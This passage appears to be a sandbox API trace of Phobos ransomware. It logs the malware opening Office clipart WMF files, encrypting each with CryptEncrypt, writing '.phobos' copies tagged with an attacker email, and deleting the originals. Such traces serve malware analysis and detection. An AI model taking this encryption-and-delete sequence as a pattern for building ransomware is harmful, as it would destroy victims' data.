Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.651] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.651] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.652] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0058.652] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.652] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x9bc, lpOverlapped=0x0) returned 1 [0058.653] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9c0) returned 1 [0058.653] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x9c0, lpOverlapped=0x0) returned 1 [0058.654] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc590) returned 1 [0058.654] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.654] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.654] CryptDestroyKey (hKey=0x10dc590) returned 1 [0058.654] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.654] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.654] CloseHandle (hObject=0x328) returned 1 [0058.654] CloseHandle (hObject=0x338) returned 1 [0058.655] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0058.656] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.656] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3348) returned 1 [0058.656] CloseHandle (hObject=0x338) returned 1 [0058.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0058.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.656] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.657] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.657] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc590) returned 1 [0058.657] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.657] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xd14, lpOverlapped=0x0) returned 1 [0058.729] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd20, dwBufLen=0xd20 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xd20) returned 1 [0058.729] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xd20, lpOverlapped=0x0) returned 1 [0058.730] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc810) returned 1 [0058.730] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.730] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.730] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.730] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.730] CryptDestroyKey (hKey=0x10dc590) returned 1 [0058.730] CloseHandle (hObject=0x338) returned 1 [0058.730] CloseHandle (hObject=0x328) returned 1 [0058.731] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0058.732] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.732] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3228) returned 1 [0058.732] CloseHandle (hObject=0x328) returned 1 [0058.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0058.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.732] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.732] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.732] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0058.732] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.732] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xc9c, lpOverlapped=0x0) returned 1 [0058.746] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xca0, dwBufLen=0xca0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xca0) returned 1 [0058.746] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xca0, lpOverlapped=0x0) returned 1 [0058.747] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0058.747] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.747] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.747] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.747] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.747] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.747] CloseHandle (hObject=0x328) returned 1 [0058.747] CloseHandle (hObject=0x338) returned 1 [0058.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0058.748] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.749] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4996) returned 1 [0058.749] CloseHandle (hObject=0x338) returned 1 [0058.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0058.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.749] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.750] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.750] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0058.750] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.750] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1384, lpOverlapped=0x0) returned 1 [0058.762] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1390, dwBufLen=0x1390 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1390) returned 1 [0058.762] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1390, lpOverlapped=0x0) returned 1 [0058.762] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0058.762] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.762] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.762] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.762] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.763] CryptDestroyKey (hKey=0x10dc790) returned 1 [0058.763] CloseHandle (hObject=0x338) returned 1 [0058.763] CloseHandle (hObject=0x328) returned 1 [0058.763] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0058.764] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.765] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4870) returned 1 [0058.765] CloseHandle (hObject=0x328) returned 1 [0058.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0058.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.765] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.765] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.765] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc50) returned 1 [0058.765] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.766] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1306, lpOverlapped=0x0) returned 1 [0058.777] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1310, dwBufLen=0x1310 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1310) returned 1 [0058.777] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1310, lpOverlapped=0x0) returned 1 [0058.778] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0058.778] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.778] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.778] CryptDestroyKey (hKey=0x10dc950) returned 1 [0058.778] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.778] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0058.778] CloseHandle (hObject=0x328) returned 1 [0058.778] CloseHandle (hObject=0x338) returned 1 [0058.778] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0058.779] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.780] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=28948) returned 1 [0058.780] CloseHandle (hObject=0x338) returned 1 [0058.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0058.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.780] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.780] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.780] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0058.780] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.780] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x7114, lpOverlapped=0x0) returned 1 [0058.796] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7120, dwBufLen=0x7120 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7120) returned 1 [0058.796] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x7120, lpOverlapped=0x0) returned 1 [0058.797] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0058.797] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, 